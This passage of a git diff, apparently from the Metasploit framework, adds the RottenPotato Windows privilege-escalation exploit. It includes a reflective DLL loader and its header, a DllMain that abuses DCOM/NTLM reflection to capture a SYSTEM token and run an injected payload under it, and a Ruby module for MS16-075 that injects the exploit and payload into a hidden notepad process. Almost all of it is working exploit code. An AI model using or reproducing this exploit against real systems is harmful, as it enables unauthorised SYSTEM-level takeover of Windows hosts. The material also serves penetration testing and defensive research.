ARM_MOV_MASK2); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + } + } +#endif + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof(IMAGE_RELOC); + } + + uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); + + OUTPUTDBG("Flushing the instruction cache"); + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +// you must implement this function... +extern DWORD DLLEXPORT Init(SOCKET socket); + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveLoader.h b/external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveLoader.h new file mode 100644 index 0000000000..efe9962387 --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveLoader.h @@ -0,0 +1,223 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +// Enable this define to turn on OutputDebugString support +//#define ENABLE_OUTPUTDEBUGSTRING 1 + +// Enable this define to turn on locking of memory to prevent paging +#define ENABLE_STOPPAGING 1 + +#define EXITFUNC_SEH 0xEA320EFE +#define EXITFUNC_THREAD 0x0A2A1DE0 +#define EXITFUNC_PROCESS 0x56A2B5F0 + +typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR); +typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); +typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#ifdef ENABLE_STOPPAGING +typedef LPVOID(WINAPI * VIRTUALLOCK)(LPVOID, SIZE_T); +#define VIRTUALLOCK_HASH 0x0EF632F2 +#endif + +#ifdef ENABLE_OUTPUTDEBUGSTRING +typedef LPVOID(WINAPI * OUTPUTDEBUG)(LPCSTR); +#define OUTPUTDEBUG_HASH 0x470D22BC +#endif + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror(DWORD d) +{ + return _rotr(d, HASH_KEY); +} + +__forceinline DWORD _hash(char * c) +{ + register DWORD h = 0; + do + { + h = ror(h); + h += *c; + } while (*++c); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, *_PPEB; + +typedef struct +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/dllmain.cpp b/external/source/exploits/rottenpotato/MSFRottenPotato/dllmain.cpp new file mode 100644 index 0000000000..9168581f56 --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/dllmain.cpp @@ -0,0 +1,79 @@ +#include "stdafx.h" +#include "ReflectiveLoader.h" +#include "MSFRottenPotato.h" + +extern "C" HINSTANCE hAppInstance; +EXTERN_C IMAGE_DOS_HEADER __ImageBase; + +HANDLE ElevatedToken; + +VOID ExecutePayload(LPVOID lpPayload) +{ + SetThreadToken(NULL, ElevatedToken); + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); +} + +int RottenPotato() +{ + CMSFRottenPotato* test = new CMSFRottenPotato(); + test->startCOMListenerThread(); + test->startRPCConnectionThread(); + test->triggerDCOM(); + int ret = 0; + while (true) { + if (test->negotiator->authResult != -1) { + /*Enable the priv if possible*/ + HANDLE hToken; + TOKEN_PRIVILEGES tkp; + + // Get a token for this process. + + if (!OpenProcessToken(GetCurrentProcess(), + TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))return 0; + + // Get the LUID for the Impersonate privilege. + int res = LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, + &tkp.Privileges[0].Luid); + + tkp.PrivilegeCount = 1; // one privilege to set + tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + // Get the impersonate priv for this process. + res = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); + + QuerySecurityContextToken(test->negotiator->phContext, &ElevatedToken); + + break; + } + else { + Sleep(500); + } + } + return ret; +} + + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + DWORD dwResult = 0; + + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + RottenPotato(); + ExecutePayload(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/dump.stg b/external/source/exploits/rottenpotato/MSFRottenPotato/dump.stg new file mode 100644 index 0000000000..1d58a19ae5 Binary files /dev/null and b/external/source/exploits/rottenpotato/MSFRottenPotato/dump.stg differ diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/stdafx.cpp b/external/source/exploits/rottenpotato/MSFRottenPotato/stdafx.cpp new file mode 100644 index 0000000000..02ca4e02bb --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// MSFRottenPotato.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/stdafx.h b/external/source/exploits/rottenpotato/MSFRottenPotato/stdafx.h new file mode 100644 index 0000000000..677e68a9fa --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/stdafx.h @@ -0,0 +1,16 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include + + + +// TODO: reference additional headers your program requires here diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/targetver.h b/external/source/exploits/rottenpotato/MSFRottenPotato/targetver.h new file mode 100644 index 0000000000..90e767bfce --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/modules/exploits/windows/local/ms16_075_reflection.rb b/modules/exploits/windows/local/ms16_075_reflection.rb new file mode 100644 index 0000000000..241016f004 --- /dev/null +++ b/modules/exploits/windows/local/ms16_075_reflection.rb @@ -0,0 +1,144 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/post/windows/reflective_dll_injection' + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC', + 'Description' => %q( + Module utilizes the Net-NTLMv2 reflection between DCOM/RPC + to achieve a SYSTEM handle for elevation of privilege. Currently the module + does not spawn as SYSTEM, however once achieving a shell, one can easily + use incognito to impersonate the token. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'FoxGloveSec', # the original Potato exploit + 'breenmachine', # Rotten Potato NG! + 'Mumbai' # Austin : port of RottenPotato for reflection & quick module + ], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => + { + 'EXITFUNC' => 'none', + 'WfsDelay' => '20' + }, + 'Targets' => + [ + ['Automatic', {}], + ['Windows x86', { 'Arch' => ARCH_X86 }], + ['Windows x64', { 'Arch' => ARCH_X64 }] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'References' => + [ + ['MSB', 'MS16-075'], + ['CVE', '2016-3225'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'], + ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'], + ['URL', 'https://github.com/breenmachine/RottenPotatoNG'] + ], + 'DisclosureDate' => 'Jan 16 2016', + 'DefaultTarget' => 0 + })) + end + + def assign_target + if target.name == 'Automatic' + case sysinfo["Architecture"] + when 'x86' + vprint_status("Found we are on an x86 target") + my_target = targets[1] + when 'x64' + vprint_status("Found we are on an x64 target") + my_target = targets[2] + else + fail_with(Failure::NoTarget, "Unable to determine target") + end + else + my_target = target + end + return my_target + end + + def verify_arch(my_target) + if my_target["Arch"] != sysinfo["Architecture"] + print_error("Assigned Target Arch = #{my_target.opts['Arch']}") + print_error("Actual Target Arch = #{sysinfo['Architecture']}") + fail_with(Failure::BadConfig, "Assigned Arch does not match reality") + end + if client.arch != sysinfo["Architecture"] + fail_with(Failure::BadConfig, "Session/Target Arch mismatch; WOW64 not supported") + else + vprint_good("Current payload and target Arch match....") + end + end + + def check + privs = client.sys.config.getprivs + if privs.include?('SeImpersonatePrivilege') + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Safe + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + my_target = assign_target + print_status("#{my_target['Arch']}") + verify_arch(my_target) + if check == Exploit::CheckCode::Safe + fail_with(Failure::NoAccess, 'User does not have SeImpersonate Privilege') + end + if my_target.opts['Arch'] == 'x64' + dll_file_name = 'rottenpotato.x64.dll' + vprint_status("Assigning payload rottenpotato.x64.dll") + elsif my_target.opts['Arch'] == 'x86' + dll_file_name = 'rottenpotato.x86.dll' + vprint_status("Assigning payload rottenpotato.x86.dll") + else + fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code") + end + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + print_error('Operation failed. Trying to elevate the current process...') + process = client.sys.process.open + end + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + library_path = ::File.join(Msf::Config.data_directory, "exploits", "rottenpotato", dll_file_name) + library_path = ::File.expand_path(library_path) + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + print_status("Exploit injected. Injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + # invoke the exploit, passing in the address of the payload that + # we want invoked on successful exploitation. + print_status('Payload injected. Executing exploit...') + process.thread.create(exploit_mem + offset, payload_mem) + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') + end +end